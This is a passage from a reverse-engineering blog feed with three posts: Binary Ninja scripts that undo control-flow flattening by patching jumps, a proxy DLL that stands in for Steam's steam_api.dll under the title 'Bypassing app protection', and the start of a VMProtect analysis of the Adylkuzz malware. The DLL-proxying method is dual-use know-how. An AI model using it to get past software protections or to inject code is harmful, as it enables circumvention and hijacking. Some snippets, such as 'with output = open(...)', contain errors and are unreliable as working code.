</ul>
<p>With these concepts in mind, we are going to look for the following:</p>
<blockquote>
<p>Find a block that has at least 3 incoming edges from blocks that it dominates</p>
</blockquote>
<p>Or in Python (you can just paste this into the Binary Ninja Python console)</p>
<pre><code class="lang-python">func = bv.get_function_at(here) <span class="hljs-comment"># make sure your cursor is at the start of the function</span>
cff_heads = []
<span class="hljs-keyword">for</span> block <span class="hljs-keyword">in</span> func.hlil.basic_blocks:
    dominated_edges = sum([(<span class="hljs-number">1</span> <span class="hljs-keyword">if</span> block <span class="hljs-keyword">in</span> x.source.dominators <span class="hljs-keyword">else</span> <span class="hljs-number">0</span>) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> block.incoming_edges])
    <span class="hljs-keyword">if</span> dominated_edges &gt;= <span class="hljs-number">3</span>:
        cff_heads.append(block)
</code></pre>
<p>If we do this right then <code>cff_heads</code> will have one block, and that is the start of our <code>while</code> loop. We then want to find all the blocks that are part of this. One way to do it would be to use Binary Ninja's Abstract Syntax Tree (AST) interface, but I found this is good for traversing the decompiled HLIL, it was hard to link it back to the basic blocks and the graph interface. The way I did this was to start from the top, and traverse backwards through all incoming edges that are dominated by our first block:</p>
<pre><code class="lang-python">cffhead = cff_heads[<span class="hljs-number">0</span>] <span class="hljs-comment"># only one head in this example</span>
blocks = set()
to_visit = [cffhead]
<span class="hljs-keyword">while</span> len(to_visit):
    block = to_visit.pop()
    <span class="hljs-keyword">for</span> edge <span class="hljs-keyword">in</span> block.incoming_edges:
        candidate_block = edge.source
        <span class="hljs-keyword">if</span> cffhead <span class="hljs-keyword">in</span> candidate_block.dominators <span class="hljs-keyword">and</span> candidate_block <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> blocks:
            blocks.add(candidate_block)
            to_visit.append(candidate_block)

blocks = sorted(blocks)
</code></pre>
<p>We now have a <code>blocks</code> variable that contains all the blocks in our flattened function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691067314894/288efbad-1b22-4e67-907d-136fb8771f63.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-find-the-key">Find the key</h2>
<p>One common pattern for control flow flattening has a single variable that gets set to a number that corresponds to the next piece of code to jump to. We're going to scan through all the IF statements to see if there's one variable that sticks out more than the others:</p>
<pre><code class="lang-python">blocks_to_visit = [x <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> blocks]
conditions = set()
<span class="hljs-keyword">while</span> len(blocks_to_visit):
    block = blocks_to_visit.pop()
    <span class="hljs-keyword">for</span> edge <span class="hljs-keyword">in</span> block.incoming_edges:
        condition = func.hlil[edge.source.end<span class="hljs-number">-1</span>]
        <span class="hljs-keyword">if</span> isinstance(condition, HighLevelILIf):
            conditions.add(condition)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691067501756/fbbea1e1-1ccf-4ce6-98e0-623093530fdf.png" alt class="image--center mx-auto" /></p>
<p>We can eyeball this and say "yeah it's <code>var_10</code>, duh", and the way we do this in Python is to count the number of times each variable is referenced, and take the most popular one (the one referenced the most times):</p>
<pre><code class="lang-python">varcounts = defaultdict(<span class="hljs-keyword">lambda</span>: <span class="hljs-number">0</span>)
<span class="hljs-keyword">for</span> condition <span class="hljs-keyword">in</span> conditions:
    <span class="hljs-keyword">for</span> var <span class="hljs-keyword">in</span> condition.condition.vars:
        varcounts[var] += <span class="hljs-number">1</span>

varcounts = dict(varcounts)
target_var = max(varcounts.items(), key=<span class="hljs-keyword">lambda</span> x: x[<span class="hljs-number">1</span>])[<span class="hljs-number">0</span>]
var_conditions = list(filter(<span class="hljs-keyword">lambda</span> x: target_var <span class="hljs-keyword">in</span> x.condition.vars, conditions))
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691067602863/3e589006-e52c-4509-99b4-12ca445bf065.png" alt class="image--center mx-auto" /></p>
<p>The <code>var_conditions</code> filter isn't super necessary for this example, but for more complex examples it will be necessary to strip out any other IF statements that we aren't using.</p>
<p>We're going to make a wild assumption here that every single IF statement checking <code>var_10</code> is part of the dispatcher, and it's true here, but it won't be true for every sample.</p>
<h2 id="heading-pairing-up">Pairing up</h2>
<p>The way <code>var_10</code> is used looks like this:</p>
<ul>
<li><p>Check <code>var_10</code> against value1</p>
</li>
<li><p>If equal then jump to path1</p>
</li>
<li><p>Execute</p>
</li>
<li><p>Set <code>var_10</code> to value2...</p>
</li>
</ul>
<p>We need to find all the values that <code>var_10</code> gets set to, find out where they get set, and find out which piece of code they correspond to. Once we've done that we can convert them to direct jumps and cut out the middleman (the dispatcher) and then Binary Ninja can work its magic and give us some nice normal code.</p>
<pre><code class="lang-python">code_lookup = {}
<span class="hljs-comment"># look over all the IF statements</span>
<span class="hljs-keyword">for</span> condition <span class="hljs-keyword">in</span> var_conditions:
    <span class="hljs-comment"># we're only dealing with `if var_10 == 0x1234`</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> isinstance(condition.condition, HighLevelILCmpE):
        <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">"Can't handle %s type %s"</span> % (condition.condition, type(condition.condition)))
    <span class="hljs-comment"># get the true branch</span>
    true_branches = list(filter(<span class="hljs-keyword">lambda</span> x: x.type == BranchType.TrueBranch, condition.il_basic_block.outgoing_edges))
    <span class="hljs-keyword">if</span> len(true_branches) != <span class="hljs-number">1</span>:
        <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">"Got %d true branches on %s ?!"</span> % (len(true_branches), condition.il_basic_block.outgoing_edges))
    true_branch = true_branches[<span class="hljs-number">0</span>]
    <span class="hljs-comment"># get the const value</span>
    consts = list(filter(<span class="hljs-keyword">lambda</span> x: isinstance(x, HighLevelILConst), condition.condition.operands))
    <span class="hljs-keyword">if</span> len(consts) != <span class="hljs-number">1</span>:
        <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">"Got %d consts in %s"</span> % (len(consts), condition.condition))
    code_lookup[consts[<span class="hljs-number">0</span>].value] = true_branch.target
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691068125719/bd92d57b-5eae-41b0-8032-1913c625c31a.png" alt class="image--center mx-auto" /></p>
<p>We now have a mapping for where each code points; for example <code>0x2342352</code> goes to block <code>x86_64@0x7-0x8</code> . The next step is to look at where <code>var_10</code> gets set and map all of these together:</p>
<pre><code class="lang-python">block_exits = {}
<span class="hljs-keyword">for</span> block <span class="hljs-keyword">in</span> blocks:
    <span class="hljs-comment"># in every block</span>
    instructions = [func.hlil[x] <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(block.start, block.end)]
    <span class="hljs-comment"># look at every instruction</span>
    <span class="hljs-keyword">for</span> instruction <span class="hljs-keyword">in</span> instructions:
        <span class="hljs-keyword">if</span> isinstance(instruction, HighLevelILAssign) <span class="hljs-keyword">and</span> instruction.operands[<span class="hljs-number">0</span>].var == target_var:
            <span class="hljs-comment"># if var_10 is set anywhere in this block then consider this an exit block</span>
            block_exits[instruction.operands[<span class="hljs-number">1</span>].value] = block
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691068247589/9af82ccb-cbbb-4323-a59b-5af8a22f32a7.png" alt class="image--center mx-auto" /></p>
<p>This part of the code makes another wild assumption that <code>var_10</code> only gets set in the last block before going back to the dispatcher. This is enough for now, but in more complex CFF examples we will need to look a bit deeper.</p>
<p>In any case now we can see for example that code <code>0x2342352</code> gets set at the end of block <code>x86_64@0xc-0xe</code> . We then want the end of block <code>x86_64@0xc-0xe</code> to jump directly to <code>x86_64@0x7-0x8</code> (from earlier).</p>
<h2 id="heading-putting-it-all-together">Putting it all together</h2>
<p><img src="https://i.gifer.com/origin/b3/b3a0ed6083debaf5ad8d4cd4bebdb7b4.gif" alt="I love it when a plan comes together GIF - Conseguir o melhor gif em GIFER" /></p>
<p>I'm gonna dump a bunch of code here so you have it in one place, then we'll break it apart and I'll explain what's happening:</p>
<pre><code class="lang-python"><span class="hljs-keyword">for</span> code, block <span class="hljs-keyword">in</span> block_exits.items():
    asmblock = func.get_basic_block_at(func.hlil[block.start].address)
    lastinstruction = asmblock.disassembly_text[<span class="hljs-number">-1</span>]
    <span class="hljs-keyword">if</span> lastinstruction.tokens[<span class="hljs-number">0</span>].text != <span class="hljs-string">"jmp"</span>:
        <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">"Couldn't patch %s, doesn't end with jmp but %s"</span> % (block, lastinstruction.tokens))
    address = lastinstruction.address
    length = asmblock.end - address
    print(<span class="hljs-string">"0x%X Patch at %x, %d bytes"</span> % (code.value, address, length))
    outblock = code_lookup[code]
    <span class="hljs-keyword">if</span> outblock.get_disassembly_text()[<span class="hljs-number">0</span>].tokens[<span class="hljs-number">0</span>].text == <span class="hljs-string">"break"</span>:
        outblock = outblock.outgoing_edges[<span class="hljs-number">0</span>].target
    outasmblock = func.get_basic_block_at(func.hlil[outblock.start].address)
    out_address = outasmblock.start
    print(<span class="hljs-string">"Change jump to go to %x"</span> % out_address)
    bytecode = bv.read(address, length)
    <span class="hljs-keyword">if</span> length == <span class="hljs-number">2</span>:
        <span class="hljs-keyword">if</span> bytecode[<span class="hljs-number">0</span>] != <span class="hljs-number">0xeb</span>:
            print(<span class="hljs-string">"Didn't recognise JMP opcode %02X, skipping"</span> % bytecode[<span class="hljs-number">0</span>])
            <span class="hljs-keyword">continue</span>
        delta = out_address - asmblock.end
        <span class="hljs-keyword">if</span> abs(delta) &gt; <span class="hljs-number">0x7f</span>:
            print(<span class="hljs-string">"Delta for short jump is 0x%02X, cannot do short jump, skipping"</span> % abs(delta))
            <span class="hljs-keyword">continue</span>
        <span class="hljs-keyword">if</span> delta &lt; <span class="hljs-number">0</span>:
            delta += <span class="hljs-number">0x100</span>
        newbytecode = struct.pack(<span class="hljs-string">"&lt;BB"</span>, <span class="hljs-number">0xeb</span>, delta)
    <span class="hljs-keyword">elif</span> length == <span class="hljs-number">5</span>:
        <span class="hljs-keyword">if</span> bytecode[<span class="hljs-number">0</span>] != <span class="hljs-number">0xe9</span>:
            print(<span class="hljs-string">"Didn't recognise JMP opcode %02X, skipping"</span> % bytecode[<span class="hljs-number">0</span>])
            <span class="hljs-keyword">continue</span>
        delta = out_address - asmblock.end
        <span class="hljs-keyword">if</span> delta &lt; <span class="hljs-number">0</span>:
            delta += <span class="hljs-number">0x100</span>
            delta += <span class="hljs-number">0xFFFFFF00</span>
        newbytecode = struct.pack(<span class="hljs-string">"&lt;BL"</span>, <span class="hljs-number">0xe9</span>, delta)
    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">"JMP length wrong %d, skipping"</span> % length)
        <span class="hljs-keyword">continue</span>
    print(<span class="hljs-string">"Replacing jump %s with %s"</span> % (bytecode.hex(), newbytecode.hex()))
    bv.write(address, newbytecode)
</code></pre>
<p>For starters, we'll loop over all the blocks where <code>var_10</code> gets set, and make sure they end with a <code>jmp</code> opcode:</p>
<pre><code class="lang-python"><span class="hljs-keyword">for</span> code, block <span class="hljs-keyword">in</span> block_exits.items():
    <span class="hljs-comment"># converting between hlil and asm isn't pretty</span>
    asmblock = func.get_basic_block_at(func.hlil[block.start].address)
    <span class="hljs-comment"># disassembly_text gives us the disasm lines, so we want the last one</span>
    lastinstruction = asmblock.disassembly_text[<span class="hljs-number">-1</span>]
    <span class="hljs-keyword">if</span> lastinstruction.tokens[<span class="hljs-number">0</span>].text != <span class="hljs-string">"jmp"</span>:
        <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">"Couldn't patch %s, doesn't end with jmp but %s"</span> % (block, lastinstruction.tokens))
    <span class="hljs-comment"># block.end is the start of the next block</span>
    <span class="hljs-comment"># so block.end - instruction.address tells us how long the instruction is</span>
    address = lastinstruction.address
    length = asmblock.end - address
    print(<span class="hljs-string">"0x%X Patch at %x, %d bytes"</span> % (code.value, address, length))
</code></pre>
<p>We then find the corresponding IF statement and see where that jumps to for the same code number:</p>
<pre><code class="lang-python">    outblock = code_lookup[code]
    <span class="hljs-comment"># break commands are weird in HLIL</span>
    <span class="hljs-comment"># they end up pointing at the JNE opcode so we need to skip forward</span>
    <span class="hljs-keyword">if</span> outblock.get_disassembly_text()[<span class="hljs-number">0</span>].tokens[<span class="hljs-number">0</span>].text == <span class="hljs-string">"break"</span>:
        <span class="hljs-comment"># get next block</span>
        outblock = outblock.outgoing_edges[<span class="hljs-number">0</span>].target
    <span class="hljs-comment"># as above, convert from HLIL block to asm block</span>
    outasmblock = func.get_basic_block_at(func.hlil[outblock.start].address)
    <span class="hljs-comment"># we jump to the start of this block so start address is easy here</span>
    out_address = outasmblock.start
    print(<span class="hljs-string">"Change jump to go to %x"</span> % out_address)
</code></pre>
<p>This is the fun (and processor-dependent) part, writing the patch. In my example gcc has just used short and near jumps so this is all I'm handling (<a target="_blank" href="https://www.felixcloutier.com/x86/jmp.html">https://www.felixcloutier.com/x86/jmp.html</a> if you get stuck). We read in the <code>JMP</code> instruction, check which sort it is, make sure we have enough bytes to rewrite the jump, and then build our own bytecode:</p>
<pre><code class="lang-python">    bytecode = bv.read(address, length)
    <span class="hljs-comment"># handle short jump</span>
    <span class="hljs-keyword">if</span> length == <span class="hljs-number">2</span>:
        <span class="hljs-keyword">if</span> bytecode[<span class="hljs-number">0</span>] != <span class="hljs-number">0xeb</span>:
            print(<span class="hljs-string">"Didn't recognise JMP opcode %02X, skipping"</span> % bytecode[<span class="hljs-number">0</span>])
            <span class="hljs-keyword">continue</span>
        <span class="hljs-comment"># calculate distance</span>
        delta = out_address - asmblock.end
        <span class="hljs-comment"># short jump can only go 0x7f forward or 0x80 back</span>
        <span class="hljs-keyword">if</span> abs(delta) &gt; <span class="hljs-number">0x7f</span>:
            print(<span class="hljs-string">"Delta for short jump is 0x%02X, cannot do short jump, skipping"</span> % abs(delta))
            <span class="hljs-keyword">continue</span>
        <span class="hljs-comment"># convert delta</span>
        <span class="hljs-comment"># e.g. -8 should go to 0xf8</span>
        <span class="hljs-keyword">if</span> delta &lt; <span class="hljs-number">0</span>:
            delta += <span class="hljs-number">0x100</span>
        <span class="hljs-comment"># build the new bytecode</span>
        newbytecode = struct.pack(<span class="hljs-string">"&lt;BB"</span>, <span class="hljs-number">0xeb</span>, delta)
</code></pre>
<p>The version for the near jump is basically the same</p>
<pre><code class="lang-python">    <span class="hljs-keyword">elif</span> length == <span class="hljs-number">5</span>:
        <span class="hljs-keyword">if</span> bytecode[<span class="hljs-number">0</span>] != <span class="hljs-number">0xe9</span>:
            print(<span class="hljs-string">"Didn't recognise JMP opcode %02X, skipping"</span> % bytecode[<span class="hljs-number">0</span>])
            <span class="hljs-keyword">continue</span>
        <span class="hljs-comment"># calculate distance</span>
        delta = out_address - asmblock.end
        <span class="hljs-comment"># don't need to check length it's 32 bit</span>
        <span class="hljs-comment"># convert delta</span>
        <span class="hljs-keyword">if</span> delta &lt; <span class="hljs-number">0</span>:
            delta += <span class="hljs-number">0x100</span>
            delta += <span class="hljs-number">0xFFFFFF00</span>
        newbytecode = struct.pack(<span class="hljs-string">"&lt;BL"</span>, <span class="hljs-number">0xe9</span>, delta)
    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">"JMP length wrong %d, skipping"</span> % length)
        <span class="hljs-keyword">continue</span>
</code></pre>
<p>And then we write our new bytecode:</p>
<pre><code class="lang-python">    print(<span class="hljs-string">"Replacing jump %s with %s"</span> % (bytecode.hex(), newbytecode.hex()))
    bv.write(address, newbytecode)
</code></pre>
<p>And like magic, our big scary CFF state machine turns into this harmless little function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691069130070/32e4b1cf-e859-47e8-bd3c-f366c361af94.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-next-steps">Next steps</h2>
<p>There are a lot of caveats here, but the main one is this:</p>
<ul>
<li>This is a toy app that handles the simplest CFF case</li>
</ul>
<p>You'll have to extend it if you want to do anything more complicated and use it in the real world. I hope you enjoyed this though, and I hope you find a way to use it in your day to day reversing.</p>
<h2 id="heading-addendum">Addendum</h2>
<p>Jordan from the Binary Ninja team made a couple of points around converting between HLIL and other representations:</p>
<ul>
<li><p>There are no guarantees the blocks line up as you'd expect.</p>
</li>
<li><p>You can use <code>hlil.llils</code> to get the list of LLIL instructions that make up a HLIL instruction. These are not guaranteed to be in order, but something like <code>min(x.address for x in func.hlil[6].llils)</code> might be a better way to get the start address vs my approach of jumping between HLIL and disassembly blocks. This is an exercise for the reader :)</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Bypassing app protection using proxy DLLs]]></title><description><![CDATA[I've been modding some games on Steam recently, and some of them make use of the Steamworks product to add an extra layer of security, as well as adding other features such as the overlay and cloud saves. This isn't an article on how Steam DRM and St...]]></description><link>https://www.lodsb.com/bypassing-app-protection-using-proxy-dlls</link><guid isPermaLink="true">https://www.lodsb.com/bypassing-app-protection-using-proxy-dlls</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[General Programming]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Tue, 03 Jan 2023 11:52:24 GMT</pubDate><content:encoded><![CDATA[<p>I've been modding some games on Steam recently, and some of them make use of the Steamworks product to add an extra layer of security, as well as adding other features such as the overlay and cloud saves. This isn't an article on how Steam DRM and Steamworks works so I'm not going to get into the details, but as part of my work I decided it would be good to build a proxy DLL that I can put in place of the real Steamworks DLL and then have the option to either forward calls, return a cached value, or breakpoint when certain functions were hit. Here's how I did it:</p>
<h2 id="heading-creating-the-dll-skeleton">Creating the DLL skeleton</h2>
<p>I've done this for x86, (x64 is an exercise for the reader), as the app I'm modding is an x86 app. Fortunately we're not using any inline asm (this doesn't work in x64 apps) so most of it will translate across the same.</p>
<h3 id="heading-start-a-dll-project">Start a DLL project</h3>
<p>In Visual Studio 2019 we click <em>Create a new project</em> and search for a DLL project, a normal one, not the MFC option:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672737718358/8e57ecbc-0466-4579-b24e-4eef81d9b836.png" alt class="image--center mx-auto" /></p>
<p>We give it a name and then carry on. The next step is to enable ASM files to be included, which is a short process but poorly documented</p>
<h3 id="heading-enable-asm-building">Enable asm building</h3>
<p>We'll start off by adding an <code>.asm</code> file. Right click on <code>source files</code> in the Solution Explorer, and under the <code>Add</code> menu click <code>New Item</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672737817304/5a36f371-efe5-4547-90d1-922e316e713c.png" alt class="image--center mx-auto" /></p>
<p>It should select <code>C++ file</code> by default, just ignore this and overwrite the extension in the name field to call it something else, we'll use <code>detours.asm</code> for this project:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672737869622/06d1673b-8928-41e1-833c-b44af4b94468.png" alt class="image--center mx-auto" /></p>
<p>Asm files are not built by default so we need to enable MASM in this project and then add our <code>detours.asm</code> file. Right-click on the name of the project (not the solution), and under <code>Build Dependencies</code> click on the <code>Build Customizations...</code> option</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672737973633/c5a302e2-8e40-4506-bad3-0269796ff068.png" alt class="image--center mx-auto" /></p>
<p>By default <code>.masm</code> is unchecked, so check this and click OK</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672738012074/7d56b099-0304-4693-87f1-4531419c188f.png" alt class="image--center mx-auto" /></p>
<p>Now we've added MASM to the project we need to make our <code>.asm</code> file build, so right click on our <code>detours.asm</code> and click <code>Properties</code> and in the dropdown by <code>Item Type</code> select <code>Microsoft Macro Assembler</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672738084271/0ca9a39e-e938-469d-8a8e-3d79a07ab3cc.png" alt class="image--center mx-auto" /></p>
<p>Note that we're doing this for all configurations and all platforms, you can easily do separate x86 and x64 files and add them to specific platforms, for example. Now we've done this, we can expect our <code>.asm</code> file will build.</p>
<h3 id="heading-building-from-a-def-file">Building from a .def file</h3>
<p>Normally you'd use the <code>__declspec(dllexport)</code> keyword to annotate functions that you want to export, but that won't let you choose the ordinal. If we want to build a good proxy DLL we need to ensure that the app we're modding can import either by name or by ordinal, otherwise we might run into some unexpected results later. We add our def file (mine is called <code>exports.def</code>) in the same way as we added our <code>.asm</code> file above, and then we add it to the build in project properties:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672740458458/737c59ca-0224-46ce-b270-740d8a12bc3c.png" alt class="image--center mx-auto" /></p>
<p>We're all good to go, let's get some code in place!</p>
<h2 id="heading-cloning-the-exports">Cloning the exports</h2>
<p><a target="_blank" href="https://lief-project.github.io/">LIEF</a> is my go-to tool for any time I need to work with a binary. Install it via PIP, import, and then we can load the DLL export table in a couple of lines:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> lief
binary = lief.parse(<span class="hljs-string">"/mnt/c/Program Files (x86)/Steam/steamapps/common/Reversed Dreamland/RD_Data/Plugins/steam_api.dll"</span>)
exports = [(e.name, e.ordinal) <span class="hljs-keyword">for</span> e <span class="hljs-keyword">in</span> binary.get_export().entries]
</code></pre>
<p>Note the <code>/mnt/c</code> because I do most of my coding from WSL but Steam is installed in the base Windows environment.</p>
<p>Once we've loaded the exports, we need to generate two things: export definitions, and stubs that we can populate. We can generate the def file like this:</p>
<pre><code class="lang-python"><span class="hljs-keyword">with</span> output = open(<span class="hljs-string">"exports.txt"</span>, <span class="hljs-string">"w"</span>):
    export_entries = [<span class="hljs-string">"\t%s @%d"</span> % (x[<span class="hljs-number">0</span>], x[<span class="hljs-number">1</span>]) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> exports]
    output.write(<span class="hljs-string">"\n"</span>.join(export_entries))
</code></pre>
<p>And then if we want to generate some stubs we can do something similar:</p>
<pre><code class="lang-python"><span class="hljs-keyword">with</span> output = open(<span class="hljs-string">"stubs.txt"</span>, <span class="hljs-string">"w"</span>):
    funcs = [<span class="hljs-string">"%s PROC\n\tpush hOldDll\n\tpush %d\n\tcall [_imp__GetProcAddress@8]\n\tjmp eax\n%s ENDP"</span> % (x[<span class="hljs-number">0</span>], x[<span class="hljs-number">1</span>], x[<span class="hljs-number">0</span>]) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> exports]
    output.write(<span class="hljs-string">"\n"</span>.join(funcs))
</code></pre>
<p>We can then copy these into our files. Our <code>exports.def</code> file needs to start like this:</p>
<pre><code class="lang-plaintext">LIBRARY csteamworks_proxy
EXPORTS
    Function1 @1
    Function2 @2
    ...
</code></pre>
<p>We can then paste our defs underneath (the <code>Function1</code> stuff is just an example by the way and should be removed). The stubs need a little bit more work, and I've done mine like this:</p>
<pre><code class="lang-plaintext">.386
.model flat, stdcall

.data
hOldDll DWORD 0;
pDllName BYTE "targetdll_old.dll",0
.code

EXTERN _imp__LoadLibraryA@4 : dword
EXTERN _imp__GetProcAddress@8 : dword

OPTION LANGUAGE: syscall
@init@0 PROC
    lea eax, [pDllName]
    ;push eax    
    ;call [_imp__LoadLibraryA@4]
    mov hOldDll, eax
    ret
@init@0 ENDP

Func1 PROC
    push hOldDll
    push 1
    call [_imp__GetProcAddress@8]
    jmp eax
Func1 ENDP

...

END
</code></pre>
<p>From here we can finally set up the <code>dllmain.cpp</code> that drives the whole operation:</p>
<pre><code class="lang-c"><span class="hljs-comment">// dllmain.cpp : Defines the entry point for the DLL application.</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pch.h"</span></span>

<span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> <span class="hljs-function"><span class="hljs-keyword">void</span> __fastcall <span class="hljs-title">init</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>;

<span class="hljs-function">BOOL APIENTRY <span class="hljs-title">DllMain</span><span class="hljs-params">(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)</span>
</span>{
    <span class="hljs-keyword">switch</span> (ul_reason_for_call)
    {
    <span class="hljs-keyword">case</span> DLL_PROCESS_ATTACH:
        init();
    <span class="hljs-keyword">case</span> DLL_THREAD_ATTACH:
    <span class="hljs-keyword">case</span> DLL_THREAD_DETACH:
    <span class="hljs-keyword">case</span> DLL_PROCESS_DETACH:
        <span class="hljs-keyword">break</span>;
    }
    <span class="hljs-keyword">return</span> TRUE;
}
</code></pre>
<p>So when we load the DLL, it will call <code>init()</code> the first time which will call <code>LoadLibrary()</code> to put the DLL in memory, and then whenever we hit a function that we've exported it will jump straight through to the real thing, leaving us with an easy place to put our own breakpoints if we like. There's also nothing to stop you changing these proxy functions to do something else, add some logging, or just plain return a fixed value instead. Just copy this into the directory where the real DLL is, rename it to <code>targetdll_old.dll</code> or similar, and then you have your very own customisable proxy.</p>
<p>I hope you find this useful, this is just one more tool that we have at our disposal when it comes to analysing and modding.</p>
]]></content:encoded></item><item><title><![CDATA[Extracting VMProtect handlers with Binary Ninja]]></title><description><![CDATA[I've started looking into the Adylkuzz malware, as mentioned by Tim Blazytko in his article on Automated Detection of Obfuscated Code. Initial analysis shows a TLS entry handler that dumps us straight into a VMProtect VMEnter() function, that looks l...]]></description><link>https://www.lodsb.com/extracting-vmprotect-handlers-with-binary-ninja</link><guid isPermaLink="true">https://www.lodsb.com/extracting-vmprotect-handlers-with-binary-ninja</guid><category><![CDATA[General Programming]]></category><category><![CDATA[binary ninja]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Fri, 18 Nov 2022 16:10:32 GMT</pubDate><content:encoded><![CDATA[<p>I've started looking into the Adylkuzz malware, as mentioned by Tim Blazytko in his article on <a target="_blank" href="https://synthesis.to/2021/08/10/obfuscation_detection.html">Automated Detection of Obfuscated Code</a>. Initial analysis shows a TLS entry handler that dumps us straight into a VMProtect <code>VMEnter()</code> function, that looks like this in the HLIL:</p>
<pre><code><span class="hljs-number">005</span>becad      int32_t var_4 = arg4
<span class="hljs-number">005</span>becb0      _bswap(not.d(arg4))
<span class="hljs-number">005</span>becb5      int32_t var_8 = arg2
<span class="hljs-number">005</span>becb6      <span class="hljs-keyword">void</span>* <span class="hljs-keyword">const</span> var_c = <span class="hljs-number">0xea6bdba7</span>
<span class="hljs-number">005</span>becb7      int32_t ebx  <span class="hljs-comment">// junk</span>
<span class="hljs-number">005</span>becb7      bool s
<span class="hljs-number">005</span>becb7      bool o
<span class="hljs-number">005</span>becb7      ebx.b = s != o
<span class="hljs-number">005</span>becbc      int32_t eax
<span class="hljs-number">005</span>becbc      int32_t var_10 = eax
<span class="hljs-number">005</span>becbd      eax:<span class="hljs-number">1.</span>b = <span class="hljs-number">0xcf</span>  <span class="hljs-comment">// junk</span>
<span class="hljs-number">005</span>becc2      int32_t var_14 = arg1
<span class="hljs-number">005</span>becc6      int32_t edi
<span class="hljs-number">005</span>becc6      int32_t var_18 = edi
<span class="hljs-number">005</span>becc7      int32_t var_1c = arg3
<span class="hljs-number">005</span>becc8      int32_t ebx_1  <span class="hljs-comment">// junk</span>
<span class="hljs-number">005</span>becc8      ebx_1.w = <span class="hljs-number">0x7f28</span>
<span class="hljs-number">005</span>beccf      bool c
<span class="hljs-number">005</span>beccf      bool p
<span class="hljs-number">005</span>beccf      bool a
<span class="hljs-number">005</span>beccf      bool z
<span class="hljs-number">005</span>beccf      bool d
<span class="hljs-number">005</span>beccf      int32_t var_20 = (o ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>) &lt;&lt; <span class="hljs-number">0xb</span> | (d ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>) &lt;&lt; <span class="hljs-number">0xa</span> | (s ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>) &lt;&lt; <span class="hljs-number">7</span> | (z ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>) &lt;&lt; <span class="hljs-number">6</span> | (a ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>) &lt;&lt; <span class="hljs-number">4</span> | (p ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>) &lt;&lt; <span class="hljs-number">2</span> | (c ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>) &lt;&lt; <span class="hljs-number">0</span>
<span class="hljs-number">005</span>becd5      edi.w = <span class="hljs-number">0x5e8d</span>  <span class="hljs-comment">// junk</span>
<span class="hljs-number">005</span>becd9      int32_t var_24 = <span class="hljs-number">0</span>
<span class="hljs-number">005</span>bece3      arg3.w = arg3.w &amp; not.w(<span class="hljs-number">1</span> &lt;&lt; modu.w(arg2.w, <span class="hljs-number">0x10</span>))  <span class="hljs-comment">// junk</span>
<span class="hljs-number">005</span>bece8      int32_t esi_4 = neg.d(arg5 + <span class="hljs-number">1</span>)
<span class="hljs-number">005</span>becea      int32_t eflags  <span class="hljs-comment">// junk</span>
<span class="hljs-number">005</span>becea      uint16_t temp0
<span class="hljs-number">005</span>becea      temp0, eflags = _bit_scan_reverse(esi_4.w)
⋯<span class="hljs-number">005</span>becf9      bool c_1 = unimplemented  {ror esi, <span class="hljs-number">0x1</span>}
<span class="hljs-number">005</span>bed02      edi.w = rlc.w(edi.w, <span class="hljs-number">0x2a</span>, c_1)
<span class="hljs-number">005</span>bed0e      int32_t eax_1
<span class="hljs-number">005</span>bed0e      eax_1.w = <span class="hljs-number">0x253c</span>
<span class="hljs-number">005</span>bed3c      int16_t eax_2
<span class="hljs-number">005</span>bed3c      eax_2:<span class="hljs-number">1.</span>b = ror.w(<span class="hljs-number">0</span> ^ (ror.d(esi_4 ^ <span class="hljs-number">0x27e9128c</span>, <span class="hljs-number">1</span>) + <span class="hljs-number">1</span>).w, <span class="hljs-number">0x72</span>):<span class="hljs-number">1.</span>b &lt;&lt; arg1.b
